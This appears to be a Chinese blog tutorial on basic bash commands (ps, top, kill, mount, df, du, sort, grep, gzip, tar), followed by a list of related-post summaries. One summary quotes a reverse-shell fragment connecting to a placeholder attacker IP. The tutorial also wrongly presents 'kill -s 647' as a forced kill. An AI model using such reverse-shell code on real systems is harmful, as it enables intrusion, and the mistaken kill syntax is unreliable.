bash shell基础命令(二)

Bash Shell编程基础 转载请注明出处:http://blog.youkuaiyun.com/u012842205/article/details/79584275一、Shell是什么1)Shell是操作系统提供的,供用户调用的操作接口。分命令行调用接口(CLI)和图形用户接口(GUI)。2)在Unix历史中,Shell作为系统的命令行调用接口,以独立的程序实现。3)早期的Shell提供了一些基本特性,供用户使用。功能逐渐完善,发展... 阅读详情

1.监测程序

1.1 ps命令

ps命令可以用来检测系统进程。

$ ps
    PID TTY          TIME CMD
    314 pts/0    00:00:00 bash
    407 pts/0    00:00:00 ps

默认的ps命令只显示运行在当前终端中属于当前用户的进程。如上当前在运行的进程有bash和ps。

  • PID:进程ID
  • TTY:运行终端
  • TIME:占用CPU时间
  • CMD:进程名

ps命令支持3种命令行选项:

  • Unix风格选项,选项前加单连接字符-
  • BSD风格选项,选项前不加连接字符
  • GNU长选项,选项前加双连接字符–

其中Unix风格较为常用,它源自贝尔实验室AT&T Unix系统的ps命令

Unix风格的ps常用命令选项
选项描述
-A显示所有进程
-N显示与指定参数不符的所有进程
-a显示除控制进程和无终端进程外的所有进程
-d显示除控制进程外的所有进程
-e显示所有进程
-C cmdlist显示包含在cmdlist列表中的进程
-G grplist显示组ID在grplist列表中的进程
-U userlist显示属主的用户ID在userlist列表中的进程
-g grplist显示会话或组ID在grplist列表中的进程
-p pidlist显示PID在pidlist列表中的进程
-s sesslist显示会话ID在sesslist列表中的进程
-t ttylist显示终端ID在ttylist列表中的进程
-u userlist显示有效用户ID在userlist列表中的进程
-F显示更多的额外输出
-O format显示默认的输出列以及format列表指定的特定列
-M显示进程的安全信息
-c显示进程的额外的调度器信息
-f显示完整格式的输出
-j显示作业信息
-l显示长列表
-o format仅显示由format指定的列
-y不显示进程标志
-Z显示安全上下文信息
-H以层级格式显示进程
-n namelist定义要在WCHAN输出列中显示的值
-w采用宽输出格式,不限宽度显示
-L显示进程中的线程
-V显示ps命令的版本号
$ ps -efl		#以完整格式显示所有进程信息
F S UID          PID    PPID  C PRI  NI ADDR SZ WCHAN  STIME TTY          TIME CMD
4 S root           1       0  0  80   0 - 42546 -      21:32 ?        00:00:00 /sbin/init
5 S root           2       1  0  80   0 -   614 -      21:32 ?        00:00:00 /init
0 S root           5       2  0  80   0 -   621 -      21:33 ?        00:00:00 plan9 --control-socket 6 --log-level 4 --
4 S root          97       1  0  79  -1 -  8939 -      21:33 ?        00:00:00 /lib/systemd/systemd-journald
4 S root         127       1  0  80   0 -  5579 -      21:33 ?        00:00:00 /lib/systemd/systemd-udevd
4 S systemd+     148       1  0  80   0 -  4771 -      21:33 ?        00:00:00 /lib/systemd/systemd-networkd
5 S root
...

其中各列的含义如下:

  • F:内核分配给进程的系统标志
  • S:进程状态
    • O:正在运行
    • S:休眠
    • R:可运行
    • Z:僵化,已终止单未找到父进程
    • T:停止
  • UID:启动该进程的用户
  • PID:进程ID
  • PPID:父进程PID
  • C:进程生命周期中的CPU利用率
  • PRI:进程优先级,数字越大,优先级越低
  • NI:谦让度(Nice),用于决定优先级
  • ADDR:进程的内存地址
  • SZ:进程被换出时所需要交换空间的大致大小
  • WCHAN:进程休眠的内核函数地址
  • STIME:进程启动时的系统时间
  • TTY:启动进程的终端设备
  • TIME:运行进程的累计CPU时间
  • CMD:进程名称

1.2 top命令

注意ps命令只能显示某时刻的进程状态信息,无法显示实时的进程状态信息。
使用top命令可以查看系统中进程的实时状态信息。

$ top
###第一部分显示系统概况
#第一行显示当前时间,系统运行时长、登录的用户数和系统的平均负载
top - 22:11:24 up 38 min,  0 users,  load average: 0.00, 0.00, 0.00
#第二行显示进程概况:运行、休眠、停止和僵化的进程个数
Tasks:  34 total,   1 running,  33 sleeping,   0 stopped,   0 zombie
#第三行显示CPU概况
%Cpu(s):  0.0 us,  0.0 sy,  0.0 ni,100.0 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
#最后两行显示系统内存状态:物理内存总大小、空闲大小、使用大小和交换空间状态
MiB Mem :  11890.0 total,  10917.5 free,    491.0 used,    481.5 buff/cache
MiB Swap:   3072.0 total,   3072.0 free,      0.0 used.  11147.9 avail Mem

    PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND
      1 root      20   0  170184  13188   8412 S   0.0   0.1   0:00.60 systemd
      2 root      20   0    2456   1332   1220 S   0.0   0.0   0:00.02 init-systemd(Ub
      5 root      20   0    2484   1140   1092 S   0.0   0.0   0:00.00 init
     97 root      19  -1   35756  13084  12088 S   0.0   0.1   0:00.15 systemd-journal
    127 root      20   0   22316   8596   3904 S   0.0   0.1   0:00.22 systemd-udevd
    148 systemd+  20   0   19084   7784   6896 S   0.0   0.1   0:00.06 systemd-network
    312 root      20   0    2460    112      0 S   0.0   0.0   0:00.00 SessionLeader
    313 root      20   0    2476    116      0 S   0.0   0.0   0:00.01 Relay(314)
    314 huzhou    20   0   10040   5068   3348 S   0.0   0.0   0:00.05 bash
    315 root      20   0    5700   4020   3252 S   0.0   0.0   0:00.01 login
    338 huzhou    20   0   10024   4824   3276 S   0.0   0.0   0:00.03 bash

1.3 kill命令

使用kill命令可通过PID向进程发送信号,需注意,必须使用属主或root用户才能发送进程信号
Linux进程信号

信号名称描述
1HUP挂起
2INT中断
3QUIT结束运行
9KILL无条件终止
11SEGV段错误
15TERM尽可能终止
17STOP无条件停止运行,但不终止
18TSTP停止或暂停,但继续在后台运行
19CONT在STOP或TSTP之后回复执行
$ kill 647
-bash: kill: (647) - Operation not permitted

$ kill -s 647		#强制终止PID为647的进程

pkill命令可使用程序名代替PID,也允许使用通配符

$ pkill http*		#终止所有名称以http起头的进程

注意以root身份运行pkill时要格外小心,命令中的通配符很容易将系统的重要进程终止,可能导致系统损坏。

2.检测磁盘空间

2.1 mount命令

当系统接入新的存储设备时,需使用mount命令将其放入虚拟目录中,及挂载。

$ mount -t ext4		#过滤已挂载的ext4文件系统分区
/dev/sdc on / type ext4 (rw,relatime,discard,errors=remount-ro,data=ordered)
/dev/sdc on /mnt/wslg/distro type ext4 (ro,relatime,discard,errors=remount-ro,data=ordered)
/dev/sdc on /snap type ext4 (rw,relatime,discard,errors=remount-ro,data=ordered)

mount命令默认输出当前系统已挂载的设备列表,mount命令提供了4部分信息

  • 设备文件名
  • 设备在虚拟目录中的挂载点
  • 文件系统类型
  • 已挂载设备的访问状态

手动挂载设备的基本命令格式为:
mount -t type device directory
例如将U盘/dev/sdb1挂载到/media/disk:

$ mount -t vfat /dev/sdb1 /media/disk

mount 命令选项

选项描述
-a挂载/etc/fstab文件中指定的所有文件系统
-f模拟挂载设备,但并不真正的挂载
-F和-a选项一起使用时,同时挂载所有文件系统
-v详细模式,显示挂载设备的每一步操作
-i不适应/sbin/mount.filesystem下的任何文件系统协助文件
-l自动给ext2、ext3、ext4或XFS文件系统添加文件系统标签
-n挂载设备,但不在/etc/mtab已挂载设备文件中注册
-p num进行加密挂载时,从文件描述符num中获得口令
-s忽略该文件系统不支持的挂载选项
-r将设备挂载为只读
-w将设备挂载为可读写(默认选项)
-L label将设备按指定label挂载
-U uuid将设备按指定的uuid挂载
-O和-a选项一起使用,限制其所作用的文件系统
-o给文件系统添加特定选项

其中-o选项允许挂载文件系统时添加一系列以,分割的额外选项,常用选项如下:

  • ro:以只读形式挂载
  • rw:以读写形式挂载
  • user:允许普通用户挂载文件系统
  • check=none:挂载文件系统时不执行完整性校验
  • loop:挂载文件

2.2 umount命令

与mount挂载相对的,使用umount命令卸载设备(再将设备拔下)。
umount directory | device

2.3 df命令

使用df命令可以很方便的查看所有已挂载磁盘的使用情况:

$ df -t ext4 -t vfat			#查看ext4 和vfat文件系统使用情况
Filesystem      1K-blocks      Used Available Use% Mounted on
/dev/sdc       1055762868 102000296 900059100  11% /
  • 设备文件位置
  • 包含多少个以1024字节为单位的块
  • 使用了多少以1024字节为单位的块
  • 还有多少以1024字节为单位的块可用
  • 已用空间所占的百分比
  • 设备挂载点
$ df -h		#以(human-readable)人类可读的方式显示所有文件系统使用情况
Filesystem      Size  Used Avail Use% Mounted on
/dev/sdc       1007G   98G  859G  11% /
rootfs          5.9G  2.1M  5.9G   1% /init
none            5.9G     0  5.9G   0% /dev
none            5.9G     0  5.9G   0% /dev/shm
tmpfs           5.9G     0  5.9G   0% /sys/fs/cgroup
none            5.9G  940K  5.9G   1% /run
none            5.9G     0  5.9G   0% /run/lock
none            5.9G   80K  5.9G   1% /run/user
none            119G   74G   45G  63% /usr/lib/wsl/drivers
none            5.9G     0  5.9G   0% /usr/lib/wsl/lib
none            5.9G  4.0K  5.9G   1% /mnt/wsl
none            5.9G   76K  5.9G   1% /mnt/wslg/versions.txt
none            5.9G   76K  5.9G   1% /mnt/wslg/doc
snapfuse         64M   64M     0 100% /snap/core20/2105
snapfuse         92M   92M     0 100% /snap/lxd/24061
snapfuse         64M   64M     0 100% /snap/core20/2015
snapfuse         41M   41M     0 100% /snap/snapd/20290
snapfuse         41M   41M     0 100% /snap/snapd/20671
drvfsa          119G   74G   45G  63% /mnt/c
drvfsa          300G   98G  203G  33% /mnt/d
drvfsa          450G  169G  282G  38% /mnt/e
drvfsa          182G  156G   26G  86% /mnt/g

2.4 du命令

使用du命令可以显示某个特定目录的大小,以磁盘块为单位

$ du -h bin/		#以人类可读方式显示bin文件夹的大小
4.0K    bin/

du常用的选项包括:

  • -c:显示所有已列出文件的总大小
  • -h:以人类可读格式输出大小,K表示千字节,M表示兆字节,G表示吉字节
  • -s:输出每个参数的汇总信息。

3.处理数据文件

3.1 sort命令

使用sort命令进行数据排序

$ cat test.txt			#查看test.txt文件内容
one
two
three
four
five
1
2
100
45
3

$ sort test.txt			#对test.txt文本内容进行排序显示
1
100
2
3
45
five
four
one
three
two

sort命令按字符首字母的先手顺序排序。

$ sort -n test.txt		#test.txt中数字按大小排序
five
four
one
three
two
1
2
3
45
100

sort常用选项

选项描述
-b排序时忽略起始空白字符
-f字符小写转成大写
-g按一般数值大小排序
-M按三字符月份排序
-h按人类可读大小排序,如2K 1G
-n根据字符串数值大小排序
-R随机哈希排序
-r逆序排序
-V按文本中的版本号自然排序

3.2 grep命令

使用grep命令逐行查找文件中的数据

$ grep t test.txt		#查找test.txt中t字符相关内容
two
three

grep常用参数

  • -v:反向搜索
$ grep -v t test.txt
one
four
five
1
2
100
45
3
  • -n:显示搜索结果所在行号
$ grep -n t test.txt
2:two
3:three
  • -c:显示匹配内容的行数
$ grep -c t test.txt
2
  • -e:逐个指定多个匹配模式
$ grep -e t -e o test.txt
one
two
three
four

Linux包含多种文件压缩工具

工具文件扩展名描述
bzip2.bz2采用Burrows-Wheeler块排序文本压缩算法和霍夫曼编码
compress.Z最初的Unix文本压缩工具,已经快无人使用
gzip.gzGNU压缩工具,采用Lempel-Zivwelch编码
xz.xz日渐流行的通用压缩工具
zip.zipWindows中PKZIP工具的Unix实现

3.3 gzip命令

gzip软件包是GNU项目的产物,这个软件包包括

  • gzip:压缩文件
  • gzcat:查看压缩过的文本文件内容
  • gunzip:解压文件
$ gzip file1
$ ls -l file*
-rw-r--r-- 1 huzhou huzhou  0 Jan 14 01:34 file.text
-rw-r--r-- 1 huzhou huzhou 26 Jan 17 23:42 file1.gz

3.4 tar命令

Linux使用tar命令进行归档
tar命令操作选项

操作长选项描述
-A–concatenate将一个tar归档文件追加到另一个tar归档文件末尾
-c–create创建新的tar归档文件
-ddiff检查归档文件和文件系统的差异
–delete从tar归档文件中删除文件
-r–append将文件追加到tar归档文件末尾
-t–list列出tar归档文件的内容
-u–update将tar归档文件中已有的同名文件更新的文件追加到该归档文件
-x–extract从tar归档文件中提取文件

tar命令选项

选项描述
-C dir切换到指定目录
-f file将结果输出到文件或设备
-j将输出传给bzip2命令进行压缩
-J将输出传给xz命令进行压缩
-p保留文件的所有权限
-v在处理文本时显示文件名
-z将输出传给gzip命令进行压缩
-Z将输出传给compress命令进行压缩
#将test1和test2文件夹内容打包成test.tar
$ tar -cvf test.tar test1/ test2/

#解压test.tar
$ tar -xvf test.tar
Bash Shell控制台终端命令合集 最近整理了一下Bash Shell终端的命令,以备后续查用。 阅读详情

相关推荐

Bash命令与Shell操作详解

本文详细解析了Bash命令和Shell操作,包括路径处理、文件管理、文本处理、查找与统计等内容,涵盖了`ls`、`cd`、`rm`、`cp`、`mv`、`grep`、`find`、`wc`等常用命令的使用场景和操作技巧,适合需要掌握命令行操作的Linux用户和开发者。

v5w6x的博客 956

snap占用占用100%

df -ia yll@yll-ubuntu:/snap/snapd$ df -ia 文件系统 Inode 已用(I) 可用(I) 已用(I)% 挂载点 sysfs 0 0 0 - /sys proc 0 0 0 - /proc udev 2004858 590 2004268 1% /dev d.

zhaoluruoyan89的博客 6723

「Linux命令基础」Shell命令基础

Shell命令简明指南 Shell是Linux系统中用户与内核交互的翻译官,常见Shell类型包括bash、sh、zsh等。本文介绍了Shell的基本语法规则:命令名+选项+参数,并提供了实用技巧如历史命令重用、命令补全和通配符使用。同时列举了常见错误及解决方法,如权限不足和误删文件等。最后通过理论题和实操题(创建目录、文件操作等)帮助读者巩固知识。建议初学者从bash开始,逐步掌握Shell命令的操作技巧。

夜晚回家 864

linux系统中的PS命令详解

linux系统中PS命令详解

m0_56896669的博客 1283

使用PackStack工具自动化部署OpenStack

搭建 OpenStack 环境,每个组件的安装和配置都需要熟悉其特定的依赖关系、参数设置等,对于初学者来说容易出错。PackStack 工具通过集成一系列脚本和配置文件,便于快速搭建OpenStack练习环境。CPU:支持 Intel VT - x 或 AMD - V 硬件虚拟化技术,并且要在 BIOS 里开启此功能。内存:16GB以上存储:200GB以上可用空间(2)VMware WorkStation16.0以上版本(3)远程连接工具(如Xshell、MobaXterm)

2301_80440447的博客 4094

Rapid SCADA MQTT

一、配置RapidSCADA 1、准备KpMqtt.dll、Jint.dll库文件,从网盘下载。 2、将以上两个文件拷贝到SCADA安装目录的Comm/KP目录下,如下: C:\SCADA\ScadaComm\KP 3、新建SCADA项目 4、新建Line 5、新建Device 6、拷贝Config目录下的KpMqtt_001.xml文件、KpMqtt_Job.js文件到项目Comm\Config下,如下示例链接 C:\SCADA\Projects\MQTTProject\Instances\Defau

mumanquan1的博客 3007

强大的ps 命令 -o 自定义输出内容选项

ps 是一个 Unix 和类 Unix 操作系统中常用的命令,用于显示当前运行的进程信息。查看进程信息: ps 命令可以列出当前系统中正在运行的进程的详细信息,如进程 ID (PID)、CPU 使用情况、内存使用情况等。查看特定用户的进程: 可以使用 -u 选项来查看特定用户的进程信息。查看所有进程: 默认情况下,ps 命令只显示与当前 shell 会话相关的进程,但可以使用不同的选项来显示所有进程。显示树状结构: 使用 -f 选项可以以树状结构显示进程之间的父子关系。

OceanWaves1993的博客 1923

从C到汇编:单片机汇编语言核心概念迁移指南

本文详细介绍了从C语言迁移到单片机汇编语言的核心概念与实践指南,特别适合嵌入式开发者。文章深入探讨了汇编语言在性能优化、时序控制等方面的独特优势,并提供了变量存储、函数实现、流程控制等关键概念的对应关系,帮助开发者高效掌握汇编编程技巧。

weixin_31887307的博客 346

Linux命令:ps命令

ps 命令是 Linux 和其他类 Unix 系统中用于查看当前运行的进程的强大工具。ps 代表 “process status”。ps 用于显示当前活动进程信息的命令行工具。如果想要周期性更新所选进程及其显示的信息时,可以使用 top 命令代替。1.UNIX 选项:这些选项可以分组,并且必须以前缀短横线 - 开头。2.BSD 选项:这些选项也可以分组,但不需要使用短横线 -。3.GNU 长选项:这些选项以两个短横线 – 开头。不同类型的选项可以自由混合使用,但可能会出现冲突。

dl_11的博客 8336

如何设计QR反激变换器

摘要:本文分析了基于GaN技术的PD适配器市场现状,重点探讨了准谐振反激变换器(QR Flyback)的工作原理及设计方法。文章首先介绍了反激变换器的三种工作模式(CCM、DCM、CRM/QR)及其特点,指出QR模式通过谷底开通技术能显著降低开关损耗。随后以65W适配器为例,详细阐述了变压器参数设计流程,包括匝比确定、原边电感计算和绕组匝数设计等关键步骤。文章强调QR反激变换器凭借高效率、小体积和低成本优势,已成为20W-65W PD适配器的主流拓扑方案,配合GaN技术进一步提升了功率密度和便携性。

m0_62868254的博客 1496

MFC Tab Control控件完全指南:从基础使用到高级定制

本文详细介绍了MFC中TabControl控件的使用方法和高级技巧。主要内容包括:1) TabControl基础属性设置与绑定;2) 样式定制和外观自定义;3) 创建派生类实现扩展功能;4) 动态页面管理和子对话框控制;5) 高级功能如标签拖拽排序和右键菜单。通过完整代码示例,展示了从基本应用到复杂场景的实现方案,包括多标签页管理、自定义绘制、动态添加/删除标签等核心功能,为MFC开发者提供了全面的TabControl开发指南。

专注现代C++实战,从核心语法到高性能编程,助力开发者深入掌握系统级编程精髓。 259

Bash shell 学习笔记 --- PS命令

ps命令能够给出当前系统中进程的快照。它能捕获系统在某一事件的进程状态。如果你想不断更新查看的这个状态,可以使用top命令。

微仔的黄金小屋 1476

CAPL编程规范与最佳实践

通过本文的学习,读者应该对CAPL编程规范与最佳实践有了初步的了解,并能够编写高质量的CAPL脚本。在实际项目中,CAPL的应用非常广泛,希望读者能够通过不断的学习和实践,掌握更多的CAPL技巧,提高自己的开发能力。

闲人编程的博客 1748

Shell基础二:bash基本功能之命令别名、快捷键、历史命令

1、命令别名 1.1 查看系统中的别名 alias 1.1.1 练习:查看系统中的别名 [root@catyuan ~]# alias alias cp='cp -i' alias egrep='egrep --color=auto' alias fgrep='fgrep --color=auto' alias grep='grep --color=auto' alias l.='ls -d ...

catyuan的博客 304

7.工具高级参数—CogPMAlignTool

CogPMAlign工具是用于图像模式匹配的视觉检测工具,主要包含训练参数和运行参数两类设置。训练参数包括弹性参数(处理图像非线性变形,建议不超过8像素)和特征粒度限制(控制边缘点密度)。运行参数涉及对比度阈值(影响特征点识别)、自动边缘阈值、接受阈值(0-1.0分值判定匹配有效性)和XY重叠(过滤重叠结果)等关键设置。该工具通过PatMax/PatQuick算法实现模板匹配,匹配分数0-1.0反映匹配度,受模板形状匹配度、自由度、特征缺失等因素影响。通过合理配置参数,可在执行速度和匹配精度间取得平衡,最高

937

coze 的插件输入飞书多维表格 app_token 后一直显示错误,如何解决?

🏆本文收录于《优快云问答解惑-专业版》专栏,主要记录项目实战过程中的Bug之前因后果及提供真实有效的解决方案,希望能够助你一臂之力,帮你早日登顶实现财富自由🚀;同时,欢迎大家关注&&收藏&&订阅!持续更新中,up!up!up!!

**My Coding Family** 2669

mac上的终端bash命令(一) Bourne-Again Shell简介\mac上的终端bash命令(二)基础

mac上的终端使用的是Bourne-Again Shell命令,简称bash bash是GNU组织开发和推广的一个项目,是对Bourne shell的扩展 Bourne shell是 UNIX 最初使用的 Shell,作者Steven Bourne bash是许多Linux平台的内定Shell,传统UNIX上还有许多Shell,包括tcsh、csh、ash、bsh、ksh She...

aixing2581的博客 196

IDEA的使用指南

IDEA基于java的使用手册,可以最快速的上手,在使用中不断的丰富自己的使用技巧.

linux-shell基础(二)Bash基本功能-历史命令与补全

1:历史命令history [选项] [历史命令保存文件(就是指定历史命令保存的位置,如果没有指定,那么就会保存在默认目录下,每个用户默认保存的位置不一样)] 选项: -c: 清空历史命令(没有特殊情况一般不使用,方便检查) -w: 把缓存中的历史命令写入历史命令保存文件~/.bash_history(root用户下的默认位置) 使用history命令就可以看我们以前输入过的命...

小冰球 273

visio安装包

Microsoft Office Visio 是一款专业的制图软件。利用经过更新的形状、协作工具和数据链接图表,创建专业级图表以简化复杂的信息。

迈瑞BS系列全自动生化分析仪LIS协议接口手册(内含HL7和ASTM)

迈瑞BS系列全自动生化分析仪LIS协议接口手册,内含HL7和ASTM)

Linux(四):什么是Bash、什么是shell?

预填充,根据奇偶调整即可 public String generateTheString(int n) { char[] arr = new char[n]; Arrays.fill(arr, 'a'); if (n % 2 == 1) return new String(arr); arr[0] = 'b'; return new String(arr); } 作者:lzhlyle 链接:https://leetcode-cn.com/problems/gen...

mingyuli的博客 4万+

复分析 阿尔福斯(Ahlfors) 第三版答案 英文

答案分为十章,有部分习题没有答案,全英文复分析阿尔福斯(Ahlfors) 第三版答案

bash命令_linux反弹shell之bash命令解析

当我们在渗透Linux主机时,反弹一个可交互的shell是非常有必要的。那什么反弹shell又到底是什么呐?为什么要反弹shell呐?一、什么是反弹shell?反弹shell(reverse shell),就是控制端(攻击者所有)监听某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转发到控制端。reverse shell与telnet,ssh等标准shell对应,本质...

weixin_39529302的博客 3582

Shell与Bash

shell是一个命令语言解释器,是用户和Linux内核之间的接口程序,用户在提示符下输入的每个命令都由shell先解释然后再传给Linux内核(如图)。当用户成功登入系统后shell就启动了,并始终作为你与系统内核的交互手段直至你退出系统。Bash(Bourne Again shell )是目前最常用的一种shell,也是当前大多数Linux发行版的默认Shell。除此之外还有Bourne shell (sh), C shell (csh), 和 Korn shell (ksh)等。

weixin_72517329的博客 3594

【Linux | Shell】bash shell 基础命令

很多 Linux 发行版的默认 shell 是 GNU bash shell。本文将介绍 bash shell 的基本特性,比如 bash 手册、命令行补全以及如何显示文件内容等。

wkd_007的博客 2533

Bash反弹shell

机器名称机器IP攻击机器实验靶机Python由荷兰数学和计算机科学研究学会的吉多·范罗苏姆于1990年代初设计,作为一门叫做ABC语 言的替代品。Python提供了高效的高级数据结构,还能简单有效地面向对象编程。Python语法和动 态类型,以及解释型语言的本质,使它成为多数平台上写脚本和快速开发应用的编程语言,随着版本 的不断更新和语言新功能的添加,逐渐被用于独立的、大型项目的开发。python反弹shell介绍python2s.connect(("攻击机器IP",端口));机器名称。

qq_64177395的博客 1460

linux系统下的bash shell指令有哪些?对bash命令的汇总和小结

一、参考来源 Windows系统的cmd命令哪些?具体怎么用?cmd命令汇总,dos命令小结?和linux 二、基础概念 2.1 SHELL:壳,连接用户和Linux内核,命令行解释器。 2.2 BASH:shell的一种,属于linux系统的概念,linux系统下的“黑窗口”就叫作Bash shell。 2.3 DOS:磁盘操作系统,Windows模拟了DOS系统,dos命令是该系统下的底层交互命令。 2.4 BAT文件:BAT是batch的简称,bat文件是一种批处.

小坏蛋的博客 8837

shell 编程基础

shell编程基础

qq_67582098的博客 1882

shell与bash的基础命令讲解

tail -n1``tail`:取“最后几行”`-n1`:只取**最后一行**对于大多数的类 Unix 系统,有一类用户是非常特殊的,那就是:根用户(root user)。这是很经典的PS1的显示形式,```username@hostname:~$```,通常显示用户名称,主机名称以及当前目录位置!什么是bash,就是shell的一种,shell有许多代表,比如windows下的powershell,macos也有对应的命令行,但是最经典的shell就是bash,他是运行在linux中的东西!

2302_81317225的博客 745
上一篇: bash shell基础命令(一)
下一篇: Linux环境变量
Mart!nHu
博客等级 码龄7年 1万+粉丝 50原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值